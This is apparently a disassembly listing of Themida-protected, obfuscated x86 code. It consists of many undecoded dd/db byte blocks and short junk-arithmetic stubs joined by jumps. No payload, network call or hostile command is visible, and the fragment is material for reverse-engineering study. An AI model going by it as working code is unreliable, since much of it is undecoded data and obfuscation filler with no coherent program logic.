		dd 60F380C3h, 34FFD800h, 0C4835B24h, 2434FF04h,	8124148Bh
		dd 4C4h, 0E6895600h, 10CDBF57h,	0EF8176FFh, 0A586730h
		dd 5667C781h, 0D0E99359h, 52FFFFE0h, 0D188B5B2h, 54E9805Ah
		dd 39E9C800h, 68FFFFE2h, 1B68h,	0E9241C89h, 696Bh, 4C481h
		dd 0C5830000h, 242C3302h, 33242C31h, 248B242Ch,	0B30F6624h
		dd 0E99C2404h, 0FFFFB52Dh, 8073F480h, 0EB80D5F4h, 0E9E328A3h
		dd 6357h, 24048F5Fh, 241C895Ch,	0BA525B54h, 4, 575AD301h
		dd 0DE5911BFh, 7CE94726h, 1FFFFE2h, 0FEE95FFEh,	8800004Eh
		dd 0EB885AD5h, 5AFBE9h
		db 0
; ---------------------------------------------------------------------------


loc_54911D:				; CODE XREF: Themida_:00546C0Ej
		mov	ebx, eax
		jmp	loc_54491E
; ---------------------------------------------------------------------------
		dd 0C8B665Ch, 0E9545324h, 1C83h, 0E9CEB753h, 0FFFFB4E4h
		dd 0E904EEC1h, 0FFFFD87Bh, 1BAh, 71FC6800h, 4890000h, 0E9D08924h
		dd 0CEFh, 68A8E781h, 0C7811CFAh, 0FB05F75Ch, 0E95FFE89h
		dd 2EB8h
; ---------------------------------------------------------------------------


loc_549168:				; CODE XREF: Themida_:0054C976j
		inc	edx
		jmp	loc_54FCD7
; ---------------------------------------------------------------------------


loc_54916E:				; CODE XREF: Themida_:0054AB6Fj
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_54ED3A
; ---------------------------------------------------------------------------
		db 1, 0CDh, 0E9h
		dd 363Ch
; ---------------------------------------------------------------------------


loc_549184:				; CODE XREF: Themida_:00547434j
		push	226Eh
		mov	[esp], edx
		mov	edx, 49032C48h
		add	[esp+4], edx
		pop	edx
		jmp	loc_550755
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFB469h, 5106E1C1h, 592414F7h, 4A4BE9h
		db 0
; ---------------------------------------------------------------------------


loc_5491AD:				; CODE XREF: Themida_:0054E16Aj
		mov	[esp], eax
		jmp	loc_547AC8
; ---------------------------------------------------------------------------
		db 81h,	6Ch, 24h
		dd 2F4C2504h, 244C2976h, 1BFCE904h, 4870000h, 24248B24h
		dd 2424D366h, 44BBE99Ch, 0B6520000h, 53EB8003h,	0C380F300h
		dd 0B60F5A53h, 48F66C0h, 0B41BE987h, 66ACFFFFh,	1FB35352h
		dd 0DE2863B6h, 66F0285Bh, 288FE95Ah, 0AD660000h, 3C46866h
		dd 24148966h, 1414BA66h, 66D00166h, 2915E95Ah
		db 2 dup(0), 5Fh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		pop	dword ptr [esp]
		jmp	loc_544609
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 0C896624h, 0B60F6624h, 9C5166C8h, 0FFB3C0E9h, 240C8BFFh
		dd 14EE68h, 240C8900h, 0C1815954h, 4, 8704E983h, 895C240Ch
		dd 0CC682434h, 89000020h, 4812424h, 424h, 0C6815E00h, 4
		dd 524C68h, 241C8900h, 70C2E9h,	242C8700h, 8924248Bh, 56E9242Ch
		dd 81000059h, 0DA5339F6h, 0FEEE817Fh, 90A446Fh,	0EC5FE9F2h
		dd 5D5AFFFFh, 14F8E981h, 0C181592Ah, 64F541FFh,	0E981C129h
		dd 64F541FFh, 1FC9E9h, 0FFCB0100h, 81592434h, 4C4h, 0E609E900h
		dd 0C781FFFFh, 4, 4BB53h, 0DF010000h, 243C875Bh, 8F24248Bh
		dd 665C2404h, 9C240409h, 0FFB310E9h, 3AC381FFh,	5955A117h
		dd 0FFDBE8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_549305:				; CODE XREF: Themida_:00548DDAj
		mov	eax, [esp]
		push	eax
		push	esp
		mov	eax, [esp]
		jmp	loc_54B6D3
; ---------------------------------------------------------------------------
		dw 6866h
		dd 0EFE946F0h, 42000014h, 6FE2C281h, 0D501F05Ah, 0FFE68BE9h
		dd 4C483FFh, 245AE9h
		db 0
; ---------------------------------------------------------------------------


loc_549331:				; CODE XREF: Themida_:005506DFj
		dec	edx
		and	edx, 1F1A1AC2h
		xor	edx, 52D67E80h
		sub	edx, 0D6614389h
		jmp	loc_54E870
; ---------------------------------------------------------------------------
		db 66h,	31h, 3Ch
		dd 0B2B7E924h, 0EB81FFFFh, 43696E90h, 7559C381h, 0C3011D3Eh
		dd 7559EB81h, 0C3811D3Eh, 43696E90h, 3D96EB81h,	505565CEh
		dd 0C27977B8h, 5CBE922h, 0BB530000h, 0C5B7782h,	0C15BDA89h
		dd 836806E2h, 89000009h, 21BB241Ch, 0E92CFD43h,	5Bh, 0C60306BBh
		dd 4EBC140h, 8107E3C1h,	10F9CC3h, 0C3814B71h, 16DF606Eh
		dd 315BDE01h, 0C2015EF0h, 0EFEA8158h, 179874Eh,	0D195E9C2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5493CA:				; CODE XREF: Themida_:0054AF37j
		push	2D40h
		mov	[esp], eax
		push	6C314DA1h
		mov	eax, [esp]
		push	7A11h
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_54CD26
; ---------------------------------------------------------------------------


loc_5493E9:				; CODE XREF: Themida_:00550772j
		add	ecx, eax
		pop	eax
		jmp	loc_54D5FB
; ---------------------------------------------------------------------------


loc_5493F1:				; CODE XREF: Themida_:00544A6Fj
		push	ebx
		jmp	loc_549E59
; ---------------------------------------------------------------------------
		db 0F7h
aSxw		db 'шИxw',0
		align 2
		dw 0C89h
		dd 0C8B5424h, 4C48324h,	6B685150h, 59729A0Dh, 0FFB33FE9h
		dd 0E9D3F7FFh, 3368h, 5FF9015Eh, 31240C33h, 46E9240Ch
		dd 30000000h, 2C32242Ch, 242C3024h, 0E904EC83h,	66CCh
		dd 0F780CFFEh, 62EF80B1h, 285BFC28h, 350458E7h,	718EE9h
		dd 5EEC000h, 63E95150h
		db 0EBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54945B:				; CODE XREF: Themida_:0054E45Cj
		add	ebp, ebx
		push	dword ptr [esp]
		jmp	loc_544B0B
; ---------------------------------------------------------------------------
		db 47h,	81h, 0E7h
		dd 613764E9h, 0FFD144E9h, 240C33FFh, 2424D25Ch,	0B18BE99Ch
		dd 1489FFFFh, 535A5424h, 4BBh, 5BDA0100h, 4BF57h, 0C2810000h
		dd 24383E7Fh, 0EA81FA01h, 24383E7Fh, 2414875Fh,	0FA88E95Ch
		dd 3C87FFFFh, 0B248E924h, 0E955FFFFh, 0FFFFC02Ch, 0B8240489h
		dd 2, 8158C689h, 0DD70AAC2h, 81F20166h,	0DD70AAEAh, 14875E66h
		dd 29665C24h, 0E99C2404h, 0FFFFB129h
; ---------------------------------------------------------------------------


loc_5494E0:				; CODE XREF: Themida_:0054EDCBj
		xor	edi, 0BFFFEF0Fh
		add	edx, edi
		pop	edi
		jmp	loc_544ABC
; ---------------------------------------------------------------------------


loc_5494EE:				; CODE XREF: Themida_:0054A175j
		not	ecx
		inc	ecx
		shr	ecx, 5
		jmp	loc_54631F
; ---------------------------------------------------------------------------
		dd offset dword_4D25A8+0EC0h
		align 2
		dw 0EC81h
		dd 4, 0F374E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54950A:				; CODE XREF: Themida_:00547793j
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_54C472
; ---------------------------------------------------------------------------
		db 83h
		dd 0BE5604C4h, 4BBE74F9h, 0C681DEF7h, 798D71BEh, 0F681D6F7h
		dd 681B013Ch, 33A6E681h, 0C6813DD3h, 0C7FDFDFEh, 85E9F329h
		dd 5000011h, 7A8E5244h,	1F1FB205h, 57D82914h, 0F4E21BFh
		dd 57E94F4Dh
		db 0FAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54955B:				; CODE XREF: Themida_:00548BC2j
		mov	ecx, [ebx]
		pop	ebx
		push	1
		jmp	loc_54E58B
; ---------------------------------------------------------------------------
		dd 3304C483h, 10E92404h
		db 48h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_549573:				; CODE XREF: Themida_:00546F55j
					; Themida_:0054A99Ej
		push	esi
		push	esp
		jmp	loc_54EBD0
; ---------------------------------------------------------------------------
		dw 0C39Dh
		dd 0FFB088E9h, 4BFFFh, 0BF570000h, 30577585h, 61E1E9h
		dd 3011BA00h, 0A9E97DA2h, 8300006Ch, 48904ECh, 6243E924h
		dd 4B90000h, 0E9000000h, 0FFFFB7CDh, 5004E2C1h,	0B126C9B8h
		dd 5D8F712h, 43F65F7Ah,	2087E9h, 14286800h, 8F540000h
		dd 57502404h, 1D1FE9h, 18C28100h, 81F665E3h, 6E3844C6h
		dd 81D6294Fh, 6E3844EEh, 0D685A4Fh, 0FF3F7A7Fh,	0E95B2434h
		dd 0AA0h
; ---------------------------------------------------------------------------


loc_5495F8:				; CODE XREF: Themida_:00548088j
		add	bl, 23h
		jmp	loc_5470C8
; ---------------------------------------------------------------------------
		dd 4BFh, 8BFE0100h, 0A668243Ch,	0E9000024h, 6924h, 627AABB9h
		dd 36E5E96Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54961E:				; CODE XREF: Themida_:0054553Ej
		push	39DCh
		jmp	loc_54ABC2
; ---------------------------------------------------------------------------
		dd 8702C783h, 8FE9243Ch
		db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_549633:				; CODE XREF: Themida_:00546B04j
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		push	edi
		mov	edi, 4
		sub	eax, edi
		pop	edi
		jmp	loc_54B0E1
; ---------------------------------------------------------------------------
		dw 103h
		dd 24148B59h, 6D06E9h, 464BBF00h, 0C781423Ch, 0BDC3B9B9h
		dd 0FE0C972Dh, 5F80174h, 74FE0C97h, 5F2434FFh, 5704C483h
		dd 0C781E789h, 4, 4EF81h, 3C870000h, 24248B24h,	0BD242C89h
		dd 4, 335DE801h, 4312404h, 1790E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54969E:				; CODE XREF: Themida_:0054B17Bj
		mov	ebx, 4
		jmp	loc_54D295
; ---------------------------------------------------------------------------
		dd 81242489h, 42404h, 48F0000h,	0EEE95324h, 81000047h
		dd 8B24D2F5h, 36A9E938h, 0C6810000h, 0E9E8C3D8h, 835EF101h
		dd 0FF5104C1h, 59042474h, 8B24048Fh, 34FF2424h,	54515824h
		dd 9FE95359h, 5C00006Eh, 243C8966h, 552BE9h, 0E9F90100h
		dd 31A3h, 0C8BCF21h, 4C48124h, 51000000h, 0FA1203B9h, 58C98147h
		dd 4942A076h, 2D1E941h,	565B0000h, 927C4CBEh, 5EF00168h
		dd 77B1292Dh, 4817E97Ch, 0DD880000h, 0EB005A5Bh, 240C8B66h
		dd 0E9E68956h, 1D46h, 4CB226B1h, 0FFF25CE9h, 240C89FFh
		dd 4B9h, 8BC80100h, 0C483240Ch,	7E1F6804h, 3C890000h, 4BD5524h
		dd 0E9000000h, 480Fh, 4402C281h, 0C2810851h, 1C25447Ch
		dd 826C281h, 0D101C90Bh, 5A2434FFh, 5604C483h, 2BEh, 5EF10100h
		dd 2474FF51h, 48F5904h,	24248B24h, 24048B66h, 12C0E9h
		dd 0C4835900h, 2434FF04h, 60BEE95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5497B2:				; CODE XREF: Themida_:00544DF6j
		add	ebx, 4
		jmp	loc_54D341
; ---------------------------------------------------------------------------


loc_5497BA:				; CODE XREF: Themida_:00546264j
		mov	edi, eax
		pop	eax
		and	eax, edi
		push	dword ptr [esp]
		jmp	loc_5499AB
; ---------------------------------------------------------------------------
		db 33h
		dd 55E9241Ch, 6600000Ch, 8324048Bh, 3C8904ECh, 24466824h
		dd 24890000h, 4BD5524h,	81000000h, 33042444h, 11BE156h
		dd 8104246Ch, 3304246Ch, 5D1BE156h, 4C7815Fh, 68000000h
		dd 3F4Bh, 55241489h, 0D23485BDh, 28CBE93Fh, 8B5F0000h
		dd 0C483242Ch, 0E9F98904h, 0FD0h, 0E959CB31h, 3FD8h, 2C8BE801h
		dd 0CF75E924h, 0CEE9FFFFh, 8BFFFFADh, 0C483242Ch, 5BD88904h
		dd 0FFEAD7E9h, 5AD308FFh, 72E9CBFEh, 81000027h,	2ECh, 5DBAE900h
		dd 48F0000h, 113DE924h,	0EBC10000h, 28F38108h, 0E931D40Bh
		dd 2CB3h, 8B73B2B9h, 0E9C80119h, 0FFFFF36Bh, 82E99C50h
		dd 8BFFFFADh, 0EC832404h, 24048904h, 0FFDF91E9h, 0AD6FE9FFh
		dd 0DEF7FFFFh, 5708EEC1h, 37D8E9h, 4B85000h, 81000000h
		dd 270807E9h, 81C10152h, 270807C1h, 0DFAE952h, 0EB810000h
		dd 1CFE7324h, 582434FFh, 6D7CE9h
		db 0
; ---------------------------------------------------------------------------


loc_5498CD:				; CODE XREF: Themida_:00548031j
		mov	eax, 61AF5BD4h
		mov	esi, 61AF5BD8h
		sub	esi, eax
		mov	eax, [esp]
		add	esp, 4
		add	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_54FC0B
; ---------------------------------------------------------------------------
		dd 5585450h, 4,	405h, 6F9A6800h, 4890000h, 2474FF24h, 48F5804h
		dd 0DE95C24h, 53FFFFFDh, 0DE0035B3h, 0FFBA7EE9h, 0E68956FFh
		dd 4C681h, 0C6830000h, 24348704h, 350AE9h, 332D5800h, 8908FD75h
		dd 0CA0158C1h, 48DAE9h,	0B5054800h, 0E9599419h,	0FFFFC7C2h
		dd 8113A168h, 0B9515E3Ch, 7B83492Dh, 0FFE637E9h, 70E981FFh
		dd 0E9668F5Bh, 6D92h, 0E907EBC1h, 3749h, 27674F68h, 242C8B4Fh
		dd 81E28952h, 4C2h, 3515E900h, 0C4810000h, 4, 0FFBA02E9h
		dd 1CBB53FFh, 0E95BD978h, 0FFFFC15Ah, 31E9EA29h
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5499AB:				; CODE XREF: Themida_:005497C2j
		pop	edi
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_54D95A
; ---------------------------------------------------------------------------
		db 5Bh
		dd 5C24048Fh, 52241C89h, 0F4B7D3B2h, 685AD730h,	0BE8h
		dd 0B5240C89h, 92F580F9h, 59E800h, 535153F8h, 0FFBDDBE9h
		dd 801CB2FFh, 14E97EF2h, 0C1FFFFD5h, 0F18102E9h, 0F30D2DFAh
		dd 0C8BCF01h, 4C48324h,	49EDE9h, 66B95100h, 811D4700h
		dd 0AF0669C9h, 6E1C10Bh, 3880C181h, 0E1D1399Eh,	0C181D1F7h
		dd 0B984113Eh, 2E96E9h,	0C3814B00h, 5C9D9CEDh, 1ED6E9h
		dd 4EC8300h, 51241489h,	88E78853h, 0EE885BFDh, 3EE5E9h
		db 0
; ---------------------------------------------------------------------------


loc_549A45:				; CODE XREF: Themida_:0054721Fj
		push	eax
		mov	eax, 3F21082Eh
		add	dword ptr [esp+8], 65AA3D37h
		sub	[esp+8], eax
		sub	dword ptr [esp+8], 65AA3D37h
		pop	eax
		add	[esp+4], edx
		jmp	loc_54D2D4
; ---------------------------------------------------------------------------


loc_549A69:				; CODE XREF: Themida_:0054C522j
		push	edx
		push	eax
		mov	eax, 481D6F52h
		jmp	loc_54C933
; ---------------------------------------------------------------------------


loc_549A75:				; CODE XREF: Themida_:00546058j
		pop	ebx
		jmp	loc_54FC24
; ---------------------------------------------------------------------------
		db 0B3h
		dd 0E981B5F4h, 5772h
; ---------------------------------------------------------------------------


loc_549A84:				; CODE XREF: Themida_:005476CEj
		add	esp, 4
		add	ebp, 2
		push	6C17h
		mov	[esp], ebp
		jmp	loc_54FAB9
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 4
		dd 83000000h, 148704EAh, 34895C24h, 2474FF24h, 10E95E04h
		db 26h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_549AB7:				; CODE XREF: Themida_:0054B7F3j
		pop	ebx
		or	eax, eax
		jmp	loc_54D6AB
; ---------------------------------------------------------------------------
		db 0F6h
		dd 43B252D3h, 80DACA80h, 0F28068E2h, 0CE95E93Bh, 4429FFFFh
		dd 0EEE90424h, 0FF000003h, 5D042474h, 5C24048Fh, 0F66E9F6h
		dd 6866CCB6h, 8966571Fh, 0CAE9240Ch, 2900003Fh,	6808E9F8h
		dd 55660000h, 6B24BD66h, 66EA2966h, 0F281665Dh,	57662BEFh
		dd 49C3E9h
		db 0
; ---------------------------------------------------------------------------


loc_549B15:				; CODE XREF: Themida_:0055043Bj
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_54BE4B
; ---------------------------------------------------------------------------
		db 0F7h, 0DFh, 4Fh
		dd 7E13BB53h, 0E3C16F98h, 5FB95104h, 0E9815E5Bh, 0FFFFFCE0h
		dd 4C48158h, 52000000h,	0FFCBBAE9h, 80CFFEFFh, 0FE88C9EFh
		dd 0BFE6805Bh, 0C0ECCE80h, 0DEF608E6h, 8003E6C0h, 0FE9ADC6h
		dd 81FFFFCCh, 0F9E33BF2h, 45ED8149h, 0E91A2571h, 14EEh
		dd 6C44E953h, 6B2D0000h, 2D11C301h, 198B73B2h, 0B2E9F029h
		dd 8B00001Eh, 5B682424h, 89000043h, 72E9240Ch, 8BFFFFECh
		dd 13E92434h, 4300002Dh, 6D94F381h, 81533A74h, 322F2404h
		dd 30E91EEEh, 0BB000028h, 11E979DAh, 0E381D3F7h, 62CA355Eh
		dd 30C6E381h, 0E6E90BC3h, 68000032h, 527Ah, 68243489h
		dd 4747h, 83242489h, 8B042404h,	0C4832434h, 86E95704h
		dd 0FFFFFFF9h, 669D1C77h, 241CD359h, 0A9FFE99Ch, 0D801FFFFh
		dd 0DC124205h, 0B0E95206h, 51000015h, 3F6262B9h, 0F4E98114h
		dd 0C1275D2Fh, 0E18103E1h, 155A535Ch, 5EC18141h, 29215F67h
		dd 0E82959CDh, 63EC685Dh, 2C890000h, 0BE565024h, 437C3815h
		dd 0BD5EF089h, 909B59FCh, 1AF1E9h
		db 0
; ---------------------------------------------------------------------------


loc_549C55:				; CODE XREF: Themida_:0054DF40j
		mov	[esp], edi
		push	dword ptr [esp+4]
		jmp	loc_544BD0
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 4
		dd 51000000h, 274D04B9h, 0EAF2E937h, 0F921FFFFh, 0FFAFD8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_549C79:				; CODE XREF: Themida_:00546B69j
		xor	eax, esi
		xor	esi, eax
		xor	eax, esi
		push	0DBEh
		mov	[esp], ebp
		push	1
		jmp	loc_54531D
; ---------------------------------------------------------------------------
aZs		db 'ZИЁ&',0
		dw 5600h
		dd 5EDCE9h, 0A5685700h,	0E9051353h, 0FFFFEDF1h,	5A66D028h
		dd 0B758C188h, 77EF80F3h, 0B050CF28h, 0B0B8E92Eh, 0E089FFFFh
		dd 77BF5755h, 894C4330h, 243C8BFDh, 449068h, 4220E900h
		dd 0BB0000h, 57000000h,	18330BBFh, 0E546E968h, 8958FFFFh
		dd 3DE95AD5h, 8BFFFFFBh, 0C483243Ch, 17B9E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_549CFA:				; CODE XREF: Themida_:0054A7E8j
		xchg	ebx, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_54DECA
; ---------------------------------------------------------------------------
		dw 405h
		dd 87000000h, 315C2404h, 0E9DD31EBh, 4DBDh, 50241C8Bh
		dd 0CDD5E954h, 0CE81FFFFh, 722751EFh, 75D6CE81h, 0CE813B62h
		dd 67142DF0h, 0F6814Eh,	0E9ACEF1Fh, 13AEh, 4BB53h, 0D9010000h
		dd 4C1835Bh, 31240C33h,	0C33240Ch, 34FF5C24h, 0EC835824h
		dd 5BA3E904h, 455E0000h, 95CBA52h, 0D2F73E8Bh, 0EA81DAF7h
		dd 0C7086C5Bh, 0FFE24CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_549D79:				; CODE XREF: Themida_:00545267j
		mov	[esp], ecx
		mov	ecx, 3A166876h
		jmp	loc_546450
; ---------------------------------------------------------------------------


loc_549D86:				; CODE XREF: Themida_:0054D034j
		sub	ebx, eax
		sub	ebx, 3CEA05F7h
		push	esi
		mov	esi, 2DD33724h
		and	esi, 31016EDCh
		jmp	loc_548BBB
; ---------------------------------------------------------------------------
		db 87h
		dd 248B2434h, 0CFF6624h, 5AE99C24h, 56FFFFA8h, 0BB535E54h
		dd 4, 0E95BDE01h, 5732h, 5358C129h, 642EABBBh, 0EB814B78h
		dd 6AD86C85h, 9E29F381h, 0D92960B7h, 0E9CA015Bh, 0FFFFB534h
		dd 405h, 24048700h, 0FFCF8CE9h,	5B1DBBFFh, 0DA212E3Eh
		dd 0FFE46DE9h, 82F781FFh, 1475E64h, 2434FFFAh, 4C4815Fh
		dd 56000000h, 4A29E9h, 24348700h, 81E3D15Ch, 0F23A8FF3h
		dd 229AE905h, 74FF0000h, 34FF0424h, 0F3ECE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_549E2E:				; CODE XREF: Themida_:00548CFBj
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_548C14
; ---------------------------------------------------------------------------
		db 50h
		dd 1240481h, 8B56117Ch,	3DE92434h, 52000026h, 48AFE9h
		db 0
; ---------------------------------------------------------------------------


loc_549E59:				; CODE XREF: Themida_:005493F2j
		push	ecx
		push	7B273451h
		pop	ecx
		mov	ebx, 0FB8609EFh
		add	ebx, ecx
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		push	eax
		jmp	loc_547F69
; ---------------------------------------------------------------------------
aHh		db ',Hh╣[',0
		align 10h
		dd 0B7241C89h, 0E2895228h, 3EBCE9h
		db 0
; ---------------------------------------------------------------------------


loc_549E8D:				; CODE XREF: Themida_:00548F09j
		mov	[esp], edx
		jmp	loc_545081
; ---------------------------------------------------------------------------
		db 1, 0DDh, 5Bh
		dd 81E38953h, 4C3h, 4EB8100h, 0E9000000h, 102Dh, 5359CB01h
		dd 0BBE95B5Fh, 0B8FFFFFDh, 4, 7324C381h, 0C3011CFEh, 0FFF9F5E9h
		dd 24048BFFh, 4C481h, 32E90000h
		db 0A7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_549ED7:				; CODE XREF: Themida_:0054B0E9j
		mov	esi, [esp]
		add	esp, 4
		push	191Eh
		mov	[esp], ebx
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		add	esi, 4
		jmp	loc_546767
; ---------------------------------------------------------------------------
		dd 2802C483h, 0D3B353D8h, 0F603E3C0h, 73EB80D3h, 0F380CBFEh
		dd 49604E5h, 4974E9B5h,	8B660000h, 5450240Ch, 0FFABBAE9h
		dd 81E389FFh, 4C3h, 4EB8300h, 5C241C87h, 53243C89h, 54022F68h
		dd 73E95B64h, 81000039h, 4ECh, 0D4EFE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_549F4A:				; CODE XREF: Themida_:0054F194j
		mov	[esp], ecx
		mov	ecx, 0
		push	eax
		mov	eax, 652F7F62h
		and	eax, 0F4E7A38h
		not	eax
		dec	eax
		shl	eax, 8
		add	eax, 2FBA64E7h
		add	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		add	ecx, edx
		push	edi
		mov	edi, 78C77F98h
		xor	edi, 53941EE4h
		inc	edi
		push	edx
		mov	edx, 60C218DEh
		sub	edx, 6AD53774h
		add	edi, edx
		pop	edx
		jmp	loc_544A4B
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFA671h, 81B65266h, 69F3E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_549FA2:				; CODE XREF: Themida_:00545D5Bj
		pop	ebx
		add	esi, 5F5E0648h
		add	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_546CAE
; ---------------------------------------------------------------------------


loc_549FB6:				; CODE XREF: Themida_:0054DECEj
		mov	edi, [esp]
		add	esp, 4


loc_549FBC:				; CODE XREF: Themida_:00548C3Cj
					; Themida_:loc_54D6ABj
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5502D2
; ---------------------------------------------------------------------------
		db 59h
		dd 5B66FD30h, 8009B353h, 0DD2807EDh, 8B07C580h,	0C481241Ch
		dd 4, 0FFA92CE9h, 4C681FFh, 52000000h, 4EC8351h, 68241C89h
		dd 476038D5h, 0F3814B5Bh, 69C81CACh, 65D7BA52h,	0D3210301h
		dd 3B5E9h, 25685B00h, 8900007Eh, 7AE9241Ch, 4F000063h
		dd 0DFF7DFF7h, 8106E7C1h, 3BF387F7h, 5FFD01C0h,	0ED81D501h
		dd 4F396C87h, 0FFBC47E9h, 46E981FFh, 0E9156033h, 0FFFFAD51h
		dd 8904EC83h, 1EBB241Ch, 29524D3Ch, 5B04245Ch, 0FFC004E9h
		dd 24148BFFh, 4C481h, 89530000h, 4C381E3h, 83000000h, 1C8702EBh
		dd 89665C24h, 94B3241Ch, 80F0B652h, 0F32867EEh,	8124148Bh
		dd 4C4h, 0E9CBFE00h, 0FFFFFA2Fh
; ---------------------------------------------------------------------------


loc_54A090:				; CODE XREF: Themida_:0054E8D5j
		mov	[esp], esi
		jmp	loc_54DFD1
; ---------------------------------------------------------------------------
		dd 5E08950h, 4,	0FFFC61E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54A0A5:				; CODE XREF: Themida_:0054F817j
		push	ebp
		jmp	loc_54B172
; ---------------------------------------------------------------------------


loc_54A0AB:				; CODE XREF: Themida_:0054B347j
		add	esp, 4
		add	edx, 80404068h
		mov	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		sub	[edi+24h], ebp
		mov	ebp, [esp]
		add	esp, 4


loc_54A0C8:				; CODE XREF: Themida_:loc_54B0D2j
		push	5ADAh
		jmp	loc_54842D
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 4C48324h, 8324348Bh,	0EFC104C4h, 0BD4CE903h,	0F381FFFFh
		dd 5D272134h, 5B55E9h, 0DF015D00h, 0C78CE95Bh, 8950FFFFh
		dd 88E957E0h, 68FFFFD5h, 10B1h,	0BE243489h, 7E7D2762h
		dd 3679C681h, 0C5E9A42Dh, 80000029h, 0E5C07DF5h, 80CDFE08h
		dd 0C580E7C5h, 0FFE80002h, 5DE92434h, 8100000Dh, 23A1242Ch
		dd 0E95D64D4h, 563Fh, 7BF5805Bh, 47E9E830h, 0FFFFFFD8h
		dd 669D1C77h, 4116658h,	0AEE99C24h, 81FFFFA4h, 8A04246Ch
		dd 8B2C4425h, 54522404h, 5892E9h
		db 0
; ---------------------------------------------------------------------------


loc_54A16D:				; CODE XREF: Themida_:00550A5Cj
		push	ecx
		mov	ecx, 4D5A05CAh
		not	ecx
		jmp	loc_5494EE
; ---------------------------------------------------------------------------
		dw 0CBAh
		dd 0E95E987Fh, 4BC7h, 24048B66h, 3ADD68h, 24348900h, 2C72E9h
		db 0
; ---------------------------------------------------------------------------


loc_54A195:				; CODE XREF: Themida_:00546BA0j
		push	ebx
		jmp	loc_54D5B9
; ---------------------------------------------------------------------------
		db 31h
		dd 0FB4DE9FAh, 0BEB8FFFFh, 5159664Bh, 500D0AB9h, 0D0E18123h
		dd 8116B157h, 90AF36E9h, 8BC8299Ch, 0C481240Ch,	4, 0C802A125h
		dd 0A69CE91Bh, 2D68FFFFh, 89000053h, 0CCE9240Ch, 81000040h
		dd 0E3042444h, 0FF57E044h, 90E92434h, 30FFFFC1h, 0C8B66E8h
		dd 2C48324h, 0FE2AB050h, 0B321E9C0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A1FE:				; CODE XREF: Themida_:00550494j
		mov	ah, 4Dh
		shr	ah, 5
		shr	ah, 2
		dec	ah
		neg	ah
		add	ah, 77h
		add	ah, 5Dh
		add	bl, ah
		pop	eax
		xor	dl, bl
		pop	ebx
		sub	al, dl
		jmp	loc_54EF96
; ---------------------------------------------------------------------------
		db 66h,	51h, 53h
		dd 184068h, 240C8900h, 665BB050h, 0E9C4B252h, 0FFFFFA74h
		dd 81E28952h, 4C2h, 4C28300h, 5C241487h, 4D54E955h, 2C8B0000h
		dd 0B7B5E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A252:				; CODE XREF: Themida_:005464ECj
		pop	ebp
		mov	ebp, ebx
		jmp	loc_54DC99
; ---------------------------------------------------------------------------
		dw 0E480h
		dd 0E8EC8001h, 8058E700h, 0F83039EFh, 5251665Bh, 884FB551h
		dd 0CA3E9EAh, 3C8B0000h, 4C48324h, 0C8BC821h, 4C48324h
		dd 0E7E9C009h, 0F700001Dh, 0EF814FD7h, 86729B1Bh, 0FFD038E9h
		dd 4C783FFh, 5C243C87h,	677FE957h, 0E8C10000h, 1C08305h
		dd 3504E8C1h, 601BFD88h, 34FFC201h, 0EC835824h,	241C8904h
		dd 0B951E389h, 72934FC9h, 4FC5E981h, 0CB017293h, 4C38359h
		dd 5C241C87h, 5311EA81h, 26E93330h, 88FFFFA3h, 0EC815BFCh
		dd 4, 68241C89h, 4986h,	0FFD1D2E9h, 24048BFFh, 4EC81h
		dd 0C890000h, 57595424h, 4BFh, 5156E900h, 89660000h, 65B62414h
		dd 5012E9h, 24248B00h, 9C2424D3h, 0FFBADBE9h, 48B66FFh
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_54F327
; ---------------------------------------------------------------------------
